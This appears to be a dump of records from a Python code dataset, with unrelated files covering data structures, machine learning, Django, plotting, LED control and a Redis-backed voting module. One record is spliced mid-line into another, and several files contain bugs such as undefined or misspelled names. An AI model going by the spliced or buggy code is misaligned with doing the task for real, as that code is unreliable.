self.rotateLeft(node)\n\n\t\treturn node \t\t\t\t\n\n\tdef getPredecessor(self,node): # get largest value in left subtree\n\t\tif not node.rightChild:\n\t\t\treturn node\n\t\treturn self.getPredecessor(node.rightChild)\n\nif __name__ == \"__main__\":\n\tavl = AVL()\n\tavl.insert(10)\n\tavl.insert(20)\n\tavl.insert(5)\n\tavl.insert(6)\n\tavl.insert(15)\n\n\n\tavl.traverse()\n\tavl.remove(15)\n\tavl.remove(20)\n\tavl.traverse()\n","sub_path":"Pypeline/Pypes/AVLTree.py","file_name":"AVLTree.py","file_ext":"py","file_size_in_byte":6727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"325143527","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport xgboost as xgb\nimport math\nimport os \nimport re\nfrom xgboost import XGBClassifier,XGBRegressor\nfrom sklearn import cross_validation, metrics\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import LabelEncoder,OneHotEncoder\nfrom sklearn.preprocessing import MultiLabelBinarizer\nfrom sklearn.linear_model import ARDRegression\nfrom xgboost import plot_importance\nfrom sklearn.model_selection import KFold \nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\nimport pickle\nimport seaborn as sns \n\n\nlabel_inverse_mappings = { } \nlabel_inverse_mappings[3] = 'N^2'\nlabel_inverse_mappings[6] = 'sqrtN'\nlabel_inverse_mappings[0] = 'LogN'\nlabel_inverse_mappings[1] = 'N'\nlabel_inverse_mappings[2] = 'N*sqrt(N)'\nlabel_inverse_mappings[4] = 'N^3'\nlabel_inverse_mappings[5] = 'NlogN'\n\nforward_mappings = { }\n\nforward_mappings['N^2']= 3\nforward_mappings['sqrtN']=6\nforward_mappings['LogN']=0\nforward_mappings['N']=1\nforward_mappings['N*sqrt(N)']=2\nforward_mappings['N^3']= 4\nforward_mappings['NlogN']= 5\n\n\n\n\ndef complexity_unitary( n , time_taken, p_time ):\n\n\t\tif(n==0):\n\t\t\treturn \"N\"\t\n\t\t# print(n,time_taken,p_time)\n\t\tcalc_time = [None]*7\n\t\tcalc_time[0] = math.log(n,2.0)*p_time;\n\t\tcalc_time[1] = n*math.sqrt(n)*p_time;\n\t\tcalc_time[2] = n*p_time;\n\t\tcalc_time[3] = n*math.log(n,2.0)*p_time;\n\t\tcalc_time[4] = n*n*p_time;\n\t\tcalc_time[5] = n*n*n*p_time;\n\t\tcalc_time[6] = math.sqrt(n)*p_time;\n\t\t\n\t\tmaxnum = 1e8\n\t\tind = -1 \n\n\t\tfor j in range(0,6):\n\t\t\tif abs(calc_time[j]-time_taken)[0-9]+)/$', views.student, name='student'),\n url(r'^get/studentList/', views.studentList, name='studentList'),\n url(r'^get/lecturer/(?P[0-9]+)/$', views.lecturer, name='lecturer'),\n url(r'^get/lecturerList/', views.lecturerList, name='lecturerList'),\n url(r'^get/group/(?P[0-9]+)/$', views.group, name='group'),\n url(r'^get/groupList/', views.groupList, name='groupList'),\n url(r'^get/project/(?P[0-9]+)/$', views.project, name='project'),\n url(r'^get/projectList/', views.projectList, name='projectList'),\n url(r'^get/listAll/', views.listAll, name='listAll'),\n url(r'^get/matching/', views.matching, name='matching'),\n url(r'^get/clearMatching/', views.clearMatching, name='clearMatching'),\n]\n","sub_path":"websys/pas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"526880557","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 23 14:23:25 2019\n\n@author: lingf\n\"\"\"\n\n#Bubble sort\n\nnumbers =['26','54','93','17','77','31','44','55','20']\n\nn = len(numbers)\n\nfor j in range(0,n-2): #outer loop\n offset = len(numbers)-j #which subset of outer loop you want to run inner loop to not repeat\n for i in range(0, offset-1): #finds all positions in list -1 (otherwise get error list index out of range)\n if numbers[i] > numbers[i+1]: #if number is larger than number in position above\n temp_var = numbers[i] #make temporary variable\n numbers[i] = numbers[i+1] #swap numbers around but don't overwrite\n numbers[i+1] = temp_var\n print(numbers)\n \n ","sub_path":"ling_bubble_sort.py","file_name":"ling_bubble_sort.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"313392292","text":"\"\"\" Utility functions and classes for SRP\n\nContext : SRP\nModule : Statistics.py\nVersion : 1.1.0\nAuthor : Stefano Covino\nDate : 03/08/2011\nE-mail : stefano.covino@brera.inaf.it\nURL: : http://www.merate.mi.astro.it/utenti/covino\n\nUsage : to be imported\n\nRemarks : input data are lists of x and weights\n\nHistory : (29/10/2010) First version.\n : (03/08/2011) Correction to weighting.\n\n\"\"\"\n\n\n\nimport numpy\n\nfrom .WeightedMeanFrame import WeightedMeanFrame\n\n\n\n\ndef CondSum (cumnum,cumden,x,wx,cond,it):\n r1 = (numpy.add(cumnum,numpy.multiply(x,numpy.power(wx,-2))),numpy.add(cumden,numpy.power(wx,-2)),it+1)\n r2 = (cumnum,cumden,it)\n return numpy.where (cond, r1, r2) \n\n\n\ndef CondVar (cumnum,x,wa,cond,it):\n r1 = (numpy.add(cumnum,numpy.power(numpy.subtract(x,wa),2)),it+1)\n r2 = (cumnum,it)\n return numpy.where (cond, r1, r2) \n\n\n\ndef AverSigmaClippFrame (x, wx=None, downsig=None, upsig=None, alla=False):\n nx = []\n nwx = []\n # generate numpy arrays\n for i in range(len(x)):\n nx.append(numpy.array(x[i]))\n if wx != None:\n nwx.append(numpy.array(wx[i]))\n else:\n nwx.append(numpy.ones(nx[0].shape))\n #\n res = WeightedMeanFrame(nx,nwx)\n wa = res[0]\n ws = res[1]\n we = res[2]\n wexp = res[3]\n #\n if (downsig == None and upsig == None) or (len(nx) == 1):\n # no condition, nothing to do\n if alla:\n return wa,wexp,ws,we\n else:\n return wa,wexp\n #\n numx = numpy.zeros(nx[0].shape)\n denw = numpy.zeros(nx[0].shape)\n nit = numpy.zeros(nx[0].shape) \n #\n for i in range(len(nx)):\n if downsig != None and upsig == None:\n # high-pass filter\n condiz = (nx[i] >= numpy.subtract(wa,numpy.multiply(ws,downsig)))\n elif downsig == None and upsig != None:\n # low-pass filter\n condiz = (nx[i] <= numpy.add(wa,numpy.multiply(ws,upsig)))\n else:\n # sigma-clipping\n condiz = (numpy.logical_and((nx[i] >= numpy.subtract(wa,numpy.multiply(ws,downsig))),(nx[i] <= numpy.add(wa,numpy.multiply(ws,upsig)))))\n #\n resi = CondSum (numx,denw,nx[i],nwx[i],condiz,nit)\n #\n numx = resi[0]\n denw = resi[1]\n nit = resi[2]\n #\n # mean\n waclp = numpy.divide(numx,denw)\n # exposure map\n wexpclp = numpy.divide(denw,numpy.max(denw))\n #\n # Go on computing only if explicitly required\n if not alla:\n return waclp,wexpclp\n # var\n numx = numpy.zeros(nx[0].shape)\n nit = numpy.zeros(nx[0].shape) \n #\n for i in range(len(nx)):\n if downsig != None and upsig == None:\n # high-pass filter\n condiz = (nx[i] >= numpy.subtract(wa,numpy.multiply(ws,downsig)))\n elif downsig == None and upsig != None:\n # low-pass filter\n condiz = (nx[i] <= numpy.add(wa,numpy.multiply(ws,upsig)))\n else:\n # sigma-clipping\n condiz = (numpy.logical_and((nx[i] >= numpy.subtract(wa,numpy.multiply(ws,downsig))),(nx[i] <= numpy.add(wa,numpy.multiply(ws,upsig)))))\n #\n resi = CondVar (numx,nx[i],waclp,condiz,nit)\n #\n numx = resi[0]\n nit = resi[1] \n #\n wasclp = numpy.where(nit>1, numpy.divide(numx,nit-1), numpy.zeros(nx[0].shape))\n # std and sterr\n wsclp = numpy.sqrt(wasclp)\n weclp = numpy.where(nit>1, numpy.divide(wsclp,numpy.sqrt(nit)), numpy.zeros(nx[0].shape))\n #\n return waclp,wexpclp,wsclp,weclp\n\n\n","sub_path":"Misc/SRPStatistics/AverSigmaClippFrame.py","file_name":"AverSigmaClippFrame.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"289136708","text":"import pandas as pd\nimport numpy as np\n\n# Gensim\nimport gensim\nfrom gensim import models\nimport gensim.corpora as corpora\nfrom gensim.models import CoherenceModel\n\n\nclass PipelineTopicModeling:\n \n def __init__(self, text_data, n_gram_set = 2, corpus_type = 'bow', model_list = ['lda'], number_of_topics = None ):\n '''\n text_data: list of strings (doc) of target documents \n n_gram_set: 1 - unigram; 2 - bigram; 3 - trigram \n corpus_type: 'bow' or 'tfidf' \n model-list: 'lda','lda_mallet'\n number of topics: \n - int: \n - list(range())\n\n\n\n '''\n\n self.string_corpus = text_data\n self.token_corpus = [i.split() for i in self.string_corpus.tolist()]\n\n self.id2word = corpora.Dictionary(self.token_corpus)\n\n self.n_gram = n_gram_set\n self.corpus_type = corpus_type\n self.model_dict = None\n \n self.token_corpus_ngram = n_gram_builder(self.token_corpus,n_gram = self.n_gram)\n\n self.freq_corpus = frequency_corpus_builder(self.token_corpus_ngram, self.id2word, self.corpus_type)\n\n\n # Evaluation \n self.topn_terms = topn_terms\n\n \n\n # def plot_results():\n\n\n\n\n\n def tuning_result(self, model, topic_number, coherence_metric = 'c_v', topn_terms = 30,topn_saved = 10):\n \n topic_list = model2topics (model, topn_terms = topn_terms)\n topic_list_saved = [','.join(i[:topn_saved]) for i in topic_list]\n topic_list_saved.append(None)\n\n\n\n coherence_score_list = within_topic_coherence (topic_list, \n list_of_lists_tokens = self.token_corpus_ngram, \n corpus = self.freq_corpus,\n id2word = self.id2word, \n topn_terms = topn_terms, \n coherence_metric = 'c_v')\n\n distance_score_list = between_topic_distance(model, distance_metric = 'cosine')\n\n return pd.dataFrame([coherence_score_list,distance_score_list,topic_list_saved])\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n# n-gram builder - list of tokens \ndef n_gram_builder (list_of_lists_tokens, min_count=5, threshold=100, n_gram = 2):\n '''\n this function detetct potential phrases (e.g. bigram and trigram) in the token list \n Input: a list of list of natural tokens (split by white space)\n return: a list of lists with n-gram tokens \n '''\n if n_gram == 1:\n return list_of_lists_tokens\n else:\n # Build the bigram and trigram models\n bigram = gensim.models.Phrases(list_of_lists, min_count=min_count, threshold=threshold) # higher threshold fewer phrases. \n # Faster way to get a sentence clubbed as a trigram/bigram\n bigram_mod = gensim.models.phrases.Phraser(bigram)\n \n if n_gram == 3:\n trigram = gensim.models.Phrases(bigram[list_of_lists], threshold=threshold) \n trigram_mod = gensim.models.phrases.Phraser(trigram)\n return [trigram_mod[bigram_mod[doc]] for doc in list_of_lists_tokens]\n elif n_gram == 2:\n return [bigram_mod[doc] for doc in list_of_lists_tokens]\n else:\n print('N-GRAM SETTING IS INALID. PLEASE RESET IT TO 1, 2 OR 3!')\n\n\n# vector features \ndef frequency_corpus_builder(list_of_lists_tokens, id2word, freq_type = 'bow'):\n bow_corpus = [id2word.doc2bow(list_of_lists_tokens) for text in list_of_lists_tokens]\n\n if freq_type == 'tfidf':\n tfidf_model = models.TfidfModel(bow_corpus)\n tfidf_corpus = tfidf_model[corpus]\n return tfidf_corpus\n else:\n return bow_corpus\n\n\n# models\n# Build LDA model\n\ndef tm_mdoels (corpus, id2word, number_of_topics, model_selection, model_name = 'lda'):\n\n if mdoel_name == 'lda':\n\n model = models.ldamodel.LdaModel(corpus = corpus,\n id2word=id2word,\n num_topics=number_of_topics, \n random_state=100,\n update_every=1,\n chunksize=100,\n passes=10,\n alpha='auto',\n per_word_topics=False)\n\n elif model_name == 'lsi':\n\n model = models.LsiModel(corpus = corpus,\n id2word =id2word,\n num_topics = number_of_topics)\n\n else:\n\n print('MODEL NAME CANNOT BE RECOGNISED!')\n\n\n return model\n\n\ndef model2topics (model, topn_terms = 30):\n list_of_topics = []\n for i in list(range(5)):\n topic_terms = []\n for term, score in model.show_topic(i, topn = topn_terms):\n topic_terms.append(term)\n list_of_topics.append(topic_terms)\n return list_of_topics\n\n\n# model evaluation \n\n\n\ndef within_topic_coherence (topics, list_of_lists_tokens, corpus, id2word, topn_terms = 30, coherence_metric = 'c_v'):\n '''\n For ‘c_v’, ‘c_uci’ and ‘c_npmi’ texts should be provided (corpus isn’t needed); \n For ‘u_mass’ corpus should be provided\n\n topn_terms: default of coherence model is 20\n\n return: a list of coherence score, each topic will get a coherence score, the last one is model score\n\n '''\n coherence_model = models.CoherenceModel(topics = topics, \n texts = list_of_lists_tokens, \n corpus = corpus,\n dictionary = id2word, \n coherence = coherence_metric,\n topn = topn_terms\n\n )\n model_coherence = coherence_model.get_coherence()\n topic_coherence = coherence_model.get_coherence_per_topic(segmented_topics=None, with_std=False, with_support=False)\n return topic_coherence.append(model_coherence)\n \n\n\n\n\ndef between_topic_distance(model, distance_metric = 'cosine'):\n topic_term_matrix = model.get_topics()\n dist_out = 1-pairwise_distances(topic_term_matrix, metric = distance_metric)\n model_distance = (sum(np.unique(dist_out)) -1)/len(np.unique(dist_out))\n np.fill_diagonal(dist_out, 0)\n topic_distance = list(dist_out.max(axis = 0))\n return topic_distance.append(model_distance)\n\n\n\n\n\n\n","sub_path":"topic_modelling_package/.ipynb_checkpoints/TM_functions-checkpoint.py","file_name":"TM_functions-checkpoint.py","file_ext":"py","file_size_in_byte":6535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"627318473","text":"import opc\nimport time\nimport random\n#client = opc.Client('192.168.1.99:7890')\nclient = opc.Client('localhost:7890')\ncolors=[(204,0,204)]\nfps=1\nfill=.25\n\ndef distort(c):\n mod = [0,0,0]\n d = random.random() - .5\n mod[0] = max(c[0] + 123*d,0)\n d = random.random() - .5\n mod[1] = max(c[1] + 123*d,0)\n d = random.random() - .5\n mod[2] = max(c[2] + 123*d,0)\n modtuple = (mod[0],mod[1],mod[2])\n return modtuple\n\ndef color(rgb):\n i = 0\n while i < (13*67):\n d = random.random()\n if d < fill:\n x.append (distort(rgb))\n else:\n x.append((0,0,0))\n i = i +1 \n\ndef colorwave(rgb,j):\n i = 0\n while i < (13*67):\n if j==0:\n x.append((255,0,0))\n else:\n d = random.random()\n if d < fill:\n x.append (distort(rgb))\n else:\n x.append((0,0,0))\n i = i +1 \n if i%13 == 0:\n j = j + 1\n if j > 5:\n j=1\n\ndef colorSwitcher(colors,switch,j):\n colorwave(colors[switch],j)\n\nswitch = 0 \ncount = 0\n\ncap = len(colors)\nj = 0\nwhile True:\n j = j + 1\n x=[]\n count = count + 1\n switch = (switch + 1) % cap\n colorSwitcher(colors,switch, j%13)\n client.put_pixels(x, channel=0)\n time.sleep(1/fps)\n","sub_path":"python_clients/wave.py","file_name":"wave.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"653228587","text":"# MIT License\n#\n# Copyright (c) 2015-2021 Iakiv Kramarenko\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\nimport warnings\n\nfrom selene.support.shared import config\n\n\nclass OldConfig:\n @property\n def timeout(self):\n warnings.warn(\n 'selene.config.timeout is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.timeout\n\n @timeout.setter\n def timeout(self, value):\n warnings.warn(\n 'selene.config.timeout is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.timeout = value\n\n @property\n def poll_during_waits(self):\n warnings.warn(\n 'selene.config.poll_during_waits is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.poll_during_waits\n\n @poll_during_waits.setter\n def poll_during_waits(self, value):\n warnings.warn(\n 'selene.config.poll_during_waits is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.poll_during_waits = value\n\n @property\n def base_url(self):\n warnings.warn(\n 'selene.config.base_url is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.base_url\n\n @base_url.setter\n def base_url(self, value):\n warnings.warn(\n 'selene.config.base_url is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.base_url = value\n\n @property\n def app_host(self):\n warnings.warn(\n 'selene.config.app_host is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.base_url\n\n @app_host.setter\n def app_host(self, value):\n warnings.warn(\n 'selene.config.app_host is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.base_url = value\n\n @property\n def cash_elements(self):\n warnings.warn(\n 'selene.config.cash_elements is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.cash_elements\n\n @cash_elements.setter\n def cash_elements(self, value):\n warnings.warn(\n 'selene.config.cash_elements is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.cash_elements = value\n\n @property\n def browser_name(self):\n warnings.warn(\n 'selene.config.browser_name is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.browser_name\n\n @browser_name.setter\n def browser_name(self, value):\n warnings.warn(\n 'selene.config.browser_name is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.browser_name = value\n\n @property\n def start_maximized(self):\n warnings.warn(\n 'selene.config.start_maximized is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.start_maximized\n\n @start_maximized.setter\n def start_maximized(self, value):\n warnings.warn(\n 'selene.config.start_maximized is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.start_maximized = value\n\n @property\n def hold_browser_open(self):\n warnings.warn(\n 'selene.config.hold_browser_open is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.hold_browser_open\n\n @hold_browser_open.setter\n def hold_browser_open(self, value):\n warnings.warn(\n 'selene.config.hold_browser_open is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.hold_browser_open = value\n\n @property\n def counter(self):\n warnings.warn(\n 'selene.config.counter is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.counter\n\n @counter.setter\n def counter(self, value):\n warnings.warn(\n 'selene.config.counter is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.counter = value\n\n @property\n def reports_folder(self):\n warnings.warn(\n 'selene.config.reports_folder is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.reports_folder\n\n @reports_folder.setter\n def reports_folder(self, value):\n warnings.warn(\n 'selene.config.reports_folder is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.reports_folder = value\n\n @property\n def desired_capabilities(self):\n warnings.warn(\n 'selene.config.desired_capabilities is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n return config.desired_capabilities\n\n @desired_capabilities.setter\n def desired_capabilities(self, value):\n warnings.warn(\n 'selene.config.desired_capabilities is deprecated, '\n 'use `from selene.support.shared import config` import',\n DeprecationWarning,\n )\n config.desired_capabilities = value\n","sub_path":"selene/support/shared/deprecated.py","file_name":"deprecated.py","file_ext":"py","file_size_in_byte":7361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"178259366","text":"from concurrent.futures import ThreadPoolExecutor\n\nfrom bokeh.models import ColumnDataSource, HoverTool\nfrom bokeh.plotting import curdoc, figure\nfrom bokeh.models.widgets import Slider, Toggle\nfrom bokeh.layouts import row, widgetbox\nfrom bokeh.layouts import gridplot\n\n# create basic data\ndoc = curdoc()\nexecutor = ThreadPoolExecutor(max_workers=2)\nsource = ColumnDataSource(data=dict(x=[0], y=[0], color=[\"blue\"]))\n\n# instatiate interactive elements\nnum_points_slider = Slider(title=\"offset\", value=1, start=1, end=10, step=1)\nstep_slider = Slider(title=\"step\", value=5, start=1, end=10, step=1)\nstart_stop = Toggle(label=\"Start/Stop\", button_type=\"default\")\n\n# create inputs column\ninputs = widgetbox(num_points_slider, step_slider, start_stop, width=100)\n\n# decide tools to be used\ntools = \"pan,wheel_zoom,box_zoom,reset,save,crosshair\" # crosshair\nhover = HoverTool(\n tooltips=[\n (\"index\", \"$index\"),\n (\"(x,y)\", \"($x, $y)\")\n ]\n )\n\n# prepare figure\np0 = figure(x_range=[0, 100], y_range=[0, 20], tools=[tools, hover], plot_width=600)\nl0 = p0.circle(x='x', y='y', color='color', source=source)\n\n# add plots\np = gridplot([[p0]], toolbar_location='below') # above, below left right\n\n# add plots to document\ndoc.add_root(row(inputs, p))\n","sub_path":"bokeh_interactive_01.py","file_name":"bokeh_interactive_01.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86286619","text":"import random\n\n# Use chosen method for creating list, finding the first digit and printing the results\n\n\ndef fullSequence(calcMethod, listLength):\n if calcMethod == 1:\n createRandIntList(listLength)\n elif calcMethod == 2:\n createDoubles(listLength)\n elif calcMethod == 3:\n createFibonacci(listLength)\n else:\n createSquaredList(listLength)\n\n findFirstDigit()\n calculateTotals()\n print(\"Total of each beginning digit and their % of total: \")\n printTotals()\n\n# Methods for creating different lists\n\n\ndef createRandIntList(listLength): # List of random integers\n listLength = int(listLength)\n for i in range(listLength):\n r = random.randint(1, listLength)\n li.append(r)\n\n\ndef createDoubles(listLength): # List of constantly doubling numbers\n listLength = int(listLength)\n f1 = 1\n for i in range(listLength):\n li.append(f1)\n f1 = f1 * 2\n\n\ndef createFibonacci(listLength): # Fibonacci sequence\n listLength = int(listLength)\n a, b = 0, 1\n for i in range(listLength):\n a, b = b, a + b\n li.append(a)\n return a\n\n\ndef createSquaredList(listLength): # List of squared numbers (1, 2, 4, 16, 256... n)\n listLength = int(listLength)\n a = 1\n for i in range(listLength):\n li.append(a)\n a = a * a\n if a == 1:\n a = a + 1\n\n# Go through list and remove all digits except for the first in every number in list li\ndef findFirstDigit():\n for i in li:\n while i >= 10:\n i = i / 10\n first_digit_list.append(i)\n\n# Calculate totals of every starting digit\ndef calculateTotals():\n for i in first_digit_list:\n i = int(i)\n final_list[i - 1] = final_list[i - 1] + 1\n\n# Print the total amount of every starting digit\ndef printTotals():\n int = 1\n total = 0\n\n for i in final_list:\n total = i + total\n\n for i in final_list:\n p = float(i * 100.0 / total)\n if i < 10:\n print(int, \": \", i, \" ....\", p, \"%\")\n if i >= 10:\n print(int, \": \", i, \"....\", p, \"%\")\n int += 1\n print(\"==========\\n\")\n\n# Reset lists to get ready for creating and parsing a new list.\ndef resetLists():\n global li\n global first_digit_list\n global final_list\n global listLength\n\n li = []\n first_digit_list = []\n final_list = [0, 0, 0, 0, 0, 0, 0, 0, 0]\n\n# Create the gui\ndef gui():\n while True:\n resetLists()\n i = input(\"1 : Random String of integers\\n2 : List of doubling numbers\\n3 : Fibonacci Sequence\\n4 : List of squared numbers\\n5 : Exit\\n\\n : \")\n i = int(i)\n if i == 1: # 1 : Random String of integers\n calcMethod = i\n listLength = input(\"\\nHow long do you want the list to be?\\n\\n :\")\n fullSequence(calcMethod, listLength)\n if i == 2: # 2 : List of doubling numbers\n calcMethod = i\n listLength = input(\n \"\\nHow long do you want the list to be? [min: 1 - max: 1028]\\n\\n :\")\n fullSequence(calcMethod, listLength)\n if i == 3: # 3 : Fibonacci Sequence\n calcMethod = i\n listLength = input(\n \"\\nHow long do you want the list to be? [min: 1 - max: 1481]\\n\\n :\")\n fullSequence(calcMethod, listLength)\n if i == 4: # 4 : List of squared numbers\n calcMethod = i\n listLength = input(\n \"\\nHow long do you want the list to be? [min: 1 - max: 12]\\n\\n :\")\n fullSequence(calcMethod, listLength)\n if i == 5: # 5 : Exit\n quit()\n if i not in range(1, 6):\n print(\"\\nInvalid option. Please try again... I believe in you\\n\")\n\n\ndef runScript():\n while True:\n gui()\n\n\nif __name__ == '__main__':\n runScript()\n","sub_path":"benfordTest.py","file_name":"benfordTest.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"317610724","text":"from django.contrib.auth.models import User\nfrom webapp.models import LcUser,Comment\nfrom django.db import connection\nfrom time import time\nfrom django.contrib import auth\nimport traceback\nimport os\nimport redis\nfrom django.db.models import F\n\ndef follow_thread(uid,tid):\n try:\n r = redis.Redis()\n r.sadd('uflw:'+str(uid),str(tid))\n r.sadd('tflw:'+str(tid),str(uid))\n return True\n except:\n return False\n\ndef unfollow_thread(uid,tid):\n try:\n r = redis.Redis()\n r.srem('uflw:'+str(uid),str(tid))\n r.srem('tflw:'+str(tid),str(uid))\n return True\n except:\n return False\n\ndef is_following(uid,tid):\n try:\n r = redis.Redis()\n if r.sismember('uflw:'+str(uid),str(tid)):\n return 1\n return 0\n except:\n return 0\n\ndef get_follows(uid):\n try:\n r = redis.Redis()\n tids = r.smembers('uflw:'+str(uid))\n return [int(tid) for tid in tids]\n except:\n return []\n\ndef get_followers(tid):\n try:\n r = redis.Redis()\n uids = r.smembers('tflw:'+str(tid))\n return [int(uid) for uid in uids]\n except:\n return []\n\ndef get_user_id(username):\n try:\n return LcUser.objects.filter(user__username = username)[0].id\n except:\n return -1\n\ndef get_user_name(uid):\n try:\n return LcUser.objects.filter(id = int(uid))[0].user.username\n except:\n return ''\n\ndef notify(uid,cid,reply):\n \"\"\"\n notify user about a reply to his-her comment from another user\n \"\"\"\n try:\n r = redis.Redis()\n if reply:\n r.zadd('not:'+str(uid),str(cid),int(time()))\n else:\n r.zadd('not:'+str(uid),str(cid),0)\n except:\n return None # fail silent - not a big deal\n\ndef get_notifs(uid):\n try:\n r = redis.Redis()\n notifs = r.zrange('not:'+str(uid),0,-1,withscores=True)\n return notifs\n except:\n return []\n\ndef del_notif(uid,cid):\n try:\n r = redis.Redis()\n r.zrem('not:'+str(uid),str(cid))\n except:\n return None\n\ndef did_vote(uid,cids):\n \"\"\"\n returns -1,0,1 for downvote,notvoted,upvote for given u(ser)id and c(omment)ids\n \"\"\"\n try:\n r = redis.Redis()\n votes = r.hmget('v:'+str(uid),[str(cid) for cid in cids])\n out = []\n for vote in votes:\n if vote == None:\n out.append(0)\n else:\n out.append(int(vote))\n return (True,out)\n except:\n return (False,str(traceback.format_exc()))\n \ndef vote(uid,cid,vote):\n \"\"\"\n add user vote (! changes both redis and postgres !)\n \"\"\"\n try:\n r = redis.Redis()\n v = r.hget('v:'+str(uid),str(cid))\n if v == None:\n v = 0\n else:\n v = int(v)\n if v == vote:\n return (True,'') # no need to change - same vote - should never be possible\n r.hset('v:'+str(uid),str(cid),vote)\n \n c = Comment.objects.get(pk = int(cid))\n t = c.thread\n \n if c.creator.id != int(uid):\n\n if v == 1:\n c.up = c.up - 1\n t.up = t.up - 1\n elif v == -1:\n c.down = c.down - 1\n t.down = t.down - 1\n if vote == 1:\n c.up = c.up + 1\n t.up = t.up + 1\n elif vote == -1:\n c.down = c.down +1\n t.down = t.down +1\n\n c.save()\n t.save()\n\n return (True,'')\n except:\n connection._rollback()\n return (False,str(traceback.format_exc()))\n\ndef login(request,username,password):\n try:\n user = auth.authenticate(username=username, password=password)\n if user is not None and user.is_active:\n auth.login(request, user);\n # bring up associated lc-user object\n lcuser = LcUser.objects.get(user = user)\n request.session['uid'] = lcuser.id\n return (True,'')\n return (False,'')\n except:\n connection._rollback()\n return (False,str(traceback.format_exc()))\n\ndef generateId():\n return int(os.urandom(4).encode('hex'),16) / 2\n\ndef register(request,username,password,email=None):\n try:\n user = User.objects.create_user(username = username, password = password, email = email)\n user.is_staff = False\n user.save()\n # create a blank lc user and associate with user object\n lcuser = LcUser(id=generateId(),user = user, time_joined = int(time()), join_ip = request.META['REMOTE_ADDR'])\n lcuser.save()\n user = auth.authenticate(username=username, password=password)\n auth.login(request, user);\n request.session['uid'] = lcuser.id\n return (True,lcuser.id)\n except:\n connection._rollback()\n return (False,str(traceback.format_exc()))\n\ndef logout(request):\n try:\n auth.logout(request)\n return (True,'')\n except:\n return (False,str(traceback.format_exc()))\n\ndef get_commented_threads(uid):\n try:\n creator = LcUser.objects.get(pk = int(uid))\n user_comments = creator.comment_set.all().order_by('-time_created')\n user_threads = []\n for c in user_comments:\n tid = c.thread.id\n user_threads = user_threads + [[tid,[c.id]]]\n # Eliminate duplicates from the thread ids\n # Merge comment IDs during the elimination \n if user_threads:\n user_threads.sort(key=lambda 